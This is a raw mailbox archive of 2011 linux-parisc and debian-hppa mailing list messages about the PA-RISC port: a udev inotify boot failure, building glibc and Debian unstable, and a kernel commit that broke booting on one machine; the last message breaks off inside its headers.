+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D<u></u>=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D<u></u>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D<br>
ii =A0libc6 =A0 =A0 =A0 =A0 =A02.13-10 =A0 =A0 =A0 =A0Embedded GNU C Librar=
y: Shared libraries<br>
<br>
Bug was supposed to be fixed in 2.13-0exp4...<br>
<br>
This is the console output:<br>
<br>
...<br>
Loading, please wait...<br>
mount: mounting udev on /dev failed: No such device<br>
W: devtmpfs not available, falling back to tmpfs for /dev<br>
udevd[834]: inotify_init failed: Invalid argument<br>
udevd[834]: error initializing inotify<br>
Begin: Loading essential drivers ... SCSI subsystem initialized done.<br>
Begin: Running /scripts/init-premount ... done.<br>
Begin: Mounting root file system ...<br>
Begin: Running /scripts/local-top ... done.<br>
Begin: Waiting for root file system ... done.<br>
Gave up waiting for root device. Common problems:<br>
=A0- Boot args (cat /proc/cmdline)<br>
 =A0 =A0- Check rootdelay=3D (did the system wait long enough?)<br>
 =A0 =A0- Check root=3D (did the system wait for the right device?)<br>
=A0- Missing modules (cat /proc/modules; ls /dev)<br>
chvt: can&#39;t open console<br>
ALERT! /dev/sda5 does not exist. Dropping to a shell!<br>
<br>
BusyBox v1.18.4 (Debian 1:1.18.4-1) built-in shell (ash)<br>
Enter &#39;help&#39; for a list of built-in commands.<br>
<br>
/bin/sh: can&#39;t access tty; job control turned off<br>
(initramfs)<br></blockquote><div><br>Unfortunately I&#39;ve never been able=
 to build eglibc with the supposed fix, indeed I&#39;m running an hacked ud=
ev on libc 2.11.something. <br><br>BTW, how did you successfully build it? =
you said you build a good part of unstable, I would like to do the same and=
 maybe upload some key packages... <br>
<br>Regards,<br>Domenico<br></div></div><br>

--bcaec520e81750d82b04af8f6387--



From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 18 Oct 2011 11:33:29 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <CAGH6_ppwkasTO4U3xg4ito9-QGCd5v-G=u-jqj9CXTXjTWCrFA@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
	<20111017215734.GA28681@glitch>
	<BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1318930419 14897 80.91.229.12 (18 Oct 2011 09:33:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 09:33:39 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 11:33:33 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RG639-0004oG-Bk
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 11:33:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584Ab1JRJda convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Oct 2011 05:33:30 -0400
Original-Received: from mail-pz0-f42.google.com ([209.85.210.42]:38362 "EHLO
	mail-pz0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750860Ab1JRJda convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Oct 2011 05:33:30 -0400
Original-Received: by pzk36 with SMTP id 36so1074737pzk.1
        for <linux-parisc@vger.kernel.org>; Tue, 18 Oct 2011 02:33:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6pd8WYbQE/yEK2foNmQJIFKbGLWYlljApszFx/czZgI=;
        b=vez2nN5GL30qpeRutf4MjN+GKZBaxAI1+AvR8Ojl7RjzaCBwXjNmDopJeofMgT+b49
         EGdiznwpxVK/nRdySWlqRZB5PahqaWQbSEv5LCKEHo6eKac/gOvrsxd0XAwrcFNRT9RW
         UD+CstBi0RIejG9cgnBdfIE9kObYhX6hZ3tGY=
Original-Received: by 10.68.36.232 with SMTP id t8mr3831466pbj.54.1318930409913; Tue,
 18 Oct 2011 02:33:29 -0700 (PDT)
Original-Received: by 10.143.77.12 with HTTP; Tue, 18 Oct 2011 02:33:29 -0700 (PDT)
In-Reply-To: <BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl>
X-Google-Sender-Auth: hArH9UENTr0P8HpEckCyldEFXWI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3982 gmane.linux.debian.ports.hppa:6718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3982>

On Tue, Oct 18, 2011 at 12:28 AM, John David Anglin
<dave.anglin@bell.net> wrote:
>
> On 17-Oct-11, at 5:57 PM, Domenico Andreoli wrote:
>
>> On Mon, Oct 17, 2011 at 05:09:05PM -0400, John David Anglin wrote:
>>>
>>> On 10/17/2011 4:55 PM, Carlos O'Donell wrote:
>>>>
>>>> On 10/17/2011 2:10 PM, John David Anglin wrote:
>>>>>>
>>>>>> On 10/17/2011 11:47 AM, Carlos O'Donell wrote:
>>>>>>>>
>>>>>>>> The test-fork1 failure is still unexplained and happens interm=
ittently.
>>>>>>>
>>>>>>> I have built a lot of unstable on my rp3440. =A0I think this
>>>>>
>>>>> one causes failures in the thread
>>>>>>
>>>>>> testsuites of perl, python2.7 and glib2.0. =A0These are characte=
rized by tests hanging.
>>>>>>>
>>>>>>> There is another class of failures. =A0They typically cause
>>>>>
>>>>> my rp3440 to crash due
>>>>>>
>>>>>> to cache corruption. =A0The GCC libgomp and libatomic-ops testsu=
ite seem to trigger
>>>>>> this one. =A0As I have mentioned, it's the libgomp "for" tests t=
hat
>>>>>>>>
>>>>>>>> The cancellation issues happen in tst-cancel*.
>>>>>>>>
>>>>>>>> I believe the cancellation issues are toolchain issues and I n=
eed to
>>>>>>>> look into them.
>>>>>>
>>>>>> Possibly, this is related to the following bug that I found last=
 week building mpfr-3.1.0:
>>>>>> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D50691
>>>>>> A call to __tls_get_addr clobbers first argument of call to mpfr=
_cache. =A0Don't have a
>>>>>> fix at the moment, but there is a simple testcase.
>>>>>>>
>>>>>>> On a different subject, I tried to get udev-172-1 working.
>>>>>
>>>>> However, this breaks bootstrap
>>>>>>
>>>>>> due to an invalid argument in a call to inotify_init. =A0It's so=
mewhat timing dependent since
>>>>>> some kernels will boot if they build enough of /dev before udev =
messes up. =A0In any case,
>>>>>> I believe that Guy Martin posted a patch a year or so ago to cor=
rect an inconsistency
>>>>>> between the glibc and the kernel for some bit definitions. =A0I'=
m thinking this may fix the
>>>>>> udev problem.
>>>>
>>>> What patch is this? I don't remember it. URL?
>>>>
>>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>>
>> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D617973
>>
> dave@mx3210:~$ dpkg -l libc6
> Desired=3DUnknown/Install/Remove/Purge/Hold
> | Status=3DNot/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWai=
t/Trig-pend
> |/ Err?=3D(none)/Reinst-required (Status,Err: uppercase=3Dbad)
> ||/ Name =A0 =A0 =A0 =A0 =A0 Version =A0 =A0 =A0 =A0Description
> +++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D
> ii =A0libc6 =A0 =A0 =A0 =A0 =A02.13-10 =A0 =A0 =A0 =A0Embedded GNU C =
Library: Shared libraries
>
> Bug was supposed to be fixed in 2.13-0exp4...
>
> This is the console output:
>
> ...
> Loading, please wait...
> mount: mounting udev on /dev failed: No such device
> W: devtmpfs not available, falling back to tmpfs for /dev
> udevd[834]: inotify_init failed: Invalid argument
> udevd[834]: error initializing inotify
> Begin: Loading essential drivers ... SCSI subsystem initialized done.
> Begin: Running /scripts/init-premount ... done.
> Begin: Mounting root file system ...
> Begin: Running /scripts/local-top ... done.
> Begin: Waiting for root file system ... done.
> Gave up waiting for root device. Common problems:
> =A0- Boot args (cat /proc/cmdline)
> =A0 =A0- Check rootdelay=3D (did the system wait long enough?)
> =A0 =A0- Check root=3D (did the system wait for the right device?)
> =A0- Missing modules (cat /proc/modules; ls /dev)
> chvt: can't open console
> ALERT! /dev/sda5 does not exist. Dropping to a shell!
>
> BusyBox v1.18.4 (Debian 1:1.18.4-1) built-in shell (ash)
> Enter 'help' for a list of built-in commands.
>
> /bin/sh: can't access tty; job control turned off
> (initramfs)

Unfortunately I've never been able to build eglibc with the supposed
fix, indeed I'm running an hacked udev on libc 2.11.something.

BTW, how did you successfully build it? you said you build a good part
of unstable, I would like to do the same and maybe upload some key
packages...

Regards,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 18 Oct 2011 10:20:24 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <4E9D8B28.2060901@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <4E9C9643.6030309@systemhalted.org> <4E9C9971.5090806@bell.net> <20111017215734.GA28681@glitch> <BLU0-SMTP3369C2E5C7F1EBE9C97C5B97E40@phx.gbl> <CAGH6_ppwkasTO4U3xg4ito9-QGCd5v-G=u-jqj9CXTXjTWCrFA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318947629 14917 80.91.229.12 (18 Oct 2011 14:20:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 14:20:29 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavok@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 16:20:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGAWm-00063p-EF
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 16:20:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755525Ab1JROUY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Oct 2011 10:20:24 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:36670 "EHLO
	mail-10.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755256Ab1JROUX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Oct 2011 10:20:23 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-10.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RGAWi-0003cl-2G; Tue, 18 Oct 2011 10:20:20 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <CAGH6_ppwkasTO4U3xg4ito9-QGCd5v-G=u-jqj9CXTXjTWCrFA@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3983 gmane.linux.debian.ports.hppa:6719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3983>

On 10/18/2011 5:33 AM, Domenico Andreoli wrote:
> Unfortunately I've never been able to build eglibc with the supposed
> fix, indeed I'm running an hacked udev on libc 2.11.something.
>
> BTW, how did you successfully build it? you said you build a good part
> of unstable, I would like to do the same and maybe upload some key
> packages...
>
The dependency issues have been somewhat tricky.  I recall that I did my 
initial
2.13 build with my own tool chain builds (binutils and gcc).  I wanted 
to ensure that
I had the binutils fix for non equivalent aliases.  There were also some 
compiler
fixes that I wanted.

Carlos sent me his current glibc patch set and I integrated them into 
the 2.13-10
patches.  I could send you my current two patches tonight.  Carlos also 
has these
updates.  This wasn't completely straight forward as there were some 
conflicts
with the existing patch set.  The main goal was to fix a bug in thread stack
allocation (tst-timer1?).

I used 2.13-10 as my starting source for applying Carlos' changes.  I 
had built
2.13-13 previously, but I removed the source.  I had tried building and 
installing
2.13-14.  However, it wouldn't install without breaking my installed 
version of perl.
So, I had to go back to 2.13-10.

Once I had the glibc multiarch support installed, then I built the 
latest unstable
versions of binutils, gcc-4.4, gnat-4.4, gcj-4.4, gcc-4.5, gcc-4.6, 
etc.  I'm still using
gcc-4.4 as my default.

Next, I had to update perl and python.  This involved updating a bunch 
of libraries.
There was more than one dependency loop where I had to force 
installation of a
library because I needed it to build the library that the installation 
depended on.

Part of the problem is I was starting from a system updated to 
testing/unstable.
Many of the "-dev" packages for libraries had disappeared as newer versions
were built and uploaded to the servers.  I couldn't really go back 
without breaking
a huge amount of stuff.

So, I just plunged forward.  It's not really possible to support GCC 
without having
the new stuff in unstable.

I have kept all my .deb files and can provide them if needed.

I had hoped that we would get a buildd going by now.  If we wait much 
longer,
the dependencies will be a killer.

Based on my experience, a fair number of packages need some manual
intervention to get them to build.  For example, with glibc, it probably 
is necessary
to disable testsuite checking.  With perl and python, it may be 
necessary to manually
kill tests that  hang, etc.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Tue, 18 Oct 2011 10:51:48 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1318953108.5169.5.camel@dabdike.int.hansenpartnership.com>
References: <201108191958.35802.eike-kernel@sf-tec.de>
	 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
	 <20110831154820.GH22818@bombadil.infradead.org>
	 <20110831160419.GI22818@bombadil.infradead.org>
	 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
	 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
	 <20110906134611.GA25825@bombadil.infradead.org>
	 <20110906140029.GB25825@bombadil.infradead.org>
	 <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
	 <20110906142025.GC25825@bombadil.infradead.org>
	 <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
	 <98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
	 <1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318953118 27834 80.91.229.12 (18 Oct 2011 15:51:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 15:51:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 17:51:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGBxJ-0002NB-01
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 17:51:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932611Ab1JRPvw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Oct 2011 11:51:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33670 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932552Ab1JRPvv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Oct 2011 11:51:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4D5188EE148;
	Tue, 18 Oct 2011 08:51:51 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id p2nXJDqQLL4a; Tue, 18 Oct 2011 08:51:51 -0700 (PDT)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8D2B18EE078;
	Tue, 18 Oct 2011 08:51:50 -0700 (PDT)
In-Reply-To: <1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3984>

On Wed, 2011-10-12 at 08:41 -0500, James Bottomley wrote:
> On Wed, 2011-10-12 at 09:26 +0200, Rolf Eike Beer wrote:
> > >> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
> > >>> It's possible that one of the flushing patches is to blame; I just
> > >>> can't
> > >>> see how.  Most likely is
> > >>>
> > >>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
> > >>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> > >>> Date:   Thu Apr 14 18:25:21 2011 -0500
> > >>>
> > >>>     [PARISC] only make executable areas executable
> > >>>
> > >>
> > >> This looks promising, the second commit doesn't touch the flush_*_local,
> > >> so I think it's probably not a candidate.
> > >>
> > >> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
> > >> what happens?
> > >
> > > What happens is that the system boots and from a first glance seems to
> > > work fine.
> > 
> > James, are you going to revert that commit? Or am I the only one that is
> > seeing this?
> 
> You're the only one whose seeing this.  It works 32 bit on my C360, so I
> really need to know why and I don't seem to have a means to debug if
> it's C3600 only.  If I revert that commit, we start segfaulting again.

Just an update on this, I finally got my J6000 memory problems sorted
out and booted it with 3.1-rc9 32 bit, and it works fine too (SMP as
well).  That's the closest thing I have to a C3600 because it's
Astro/Elroy based, so I've no means at all of reproducing this.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 18 Oct 2011 17:22:07 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <CADZpyixUDF-BjHHSTt4Eb_TFYX5hjBz4cuxUx0Lxc7bjMyDg9g@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<4E9C9643.6030309@systemhalted.org>
	<4E9C9971.5090806@bell.net>
	<CADZpyix9K0mfbGdDPMA-+D8vgoyTBtakX0K8JS6viVOvHz8Q3w@mail.gmail.com>
	<CADZpyizSBKcyt5VW8DsAvpzgOGZoTDpdpny9tEdsUgxJ2JoNNQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1318972934 20687 80.91.229.12 (18 Oct 2011 21:22:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 18 Oct 2011 21:22:14 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Guy Martin <gmsoft@gentoo.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 18 23:22:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGH6v-0005Kw-DM
	for glpp-linux-parisc@lo.gmane.org; Tue, 18 Oct 2011 23:22:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754174Ab1JRVWI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Oct 2011 17:22:08 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:43894 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754171Ab1JRVWI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Oct 2011 17:22:08 -0400
Original-Received: by gyb13 with SMTP id 13so1011148gyb.19
        for <linux-parisc@vger.kernel.org>; Tue, 18 Oct 2011 14:22:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=fYB/ojsIwkwYB4lcr2Cp003sw2/5E+Vrg0GlUmRv7lE=;
        b=ZOyGN3ME0mzpi96x/F3KLo6Uch7A2SHsL1Adzj+dftxj7OebEM7kvSi+fAMNGajV0G
         M0QTObZ+OApqXut2JO1JsQc3dWYwWAj+qpN5iFa5HxBIMcCRk3uyZ9Lo4e4E0cGo/2ih
         Ez0aPsOJv76bF52Xiim9+ztyVQg6OJCU41M6s=
Original-Received: by 10.42.117.193 with SMTP id u1mr7887191icq.24.1318972927398; Tue,
 18 Oct 2011 14:22:07 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Tue, 18 Oct 2011 14:22:07 -0700 (PDT)
In-Reply-To: <CADZpyizSBKcyt5VW8DsAvpzgOGZoTDpdpny9tEdsUgxJ2JoNNQ@mail.gmail.com>
X-Google-Sender-Auth: enASY8SPBYMARNSGJBmjHFkicFo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3985 gmane.linux.debian.ports.hppa:6720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3985>

On Mon, Oct 17, 2011 at 11:21 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Mon, Oct 17, 2011 at 11:01 PM, Carlos O'Donell
> <carlos@systemhalted.org> wrote:
>> On Mon, Oct 17, 2011 at 5:09 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>>> What patch is this? I don't remember it. URL?
>>>>
>>> http://www.cygwin.com/ml/libc-ports/2010-08/msg00001.html
>>
>> Thanks! I'll poke at this tomorrow.
> I've just applied this patch and I'll run it through some testing.

I've verified it matches what we have in the kernel.

I've verified that a make install-headers puts the right headers in
the right locations.

If some final testing looks good I'll commit these patches for hppa in
libc-ports with an an additional Tested-By: for my testing.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Wed, 19 Oct 2011 21:47:26 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319075273 13755 80.91.229.12 (20 Oct 2011 01:47:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Oct 2011 01:47:53 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 20 03:47:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RGhjV-000812-UK
	for glpp-linux-parisc@lo.gmane.org; Thu, 20 Oct 2011 03:47:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754225Ab1JTBro (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Oct 2011 21:47:44 -0400
Original-Received: from blu0-omc4-s22.blu0.hotmail.com ([65.55.111.161]:1101 "EHLO
	blu0-omc4-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751047Ab1JTBro (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Oct 2011 21:47:44 -0400
Original-Received: from BLU0-SMTP70 ([65.55.111.136]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
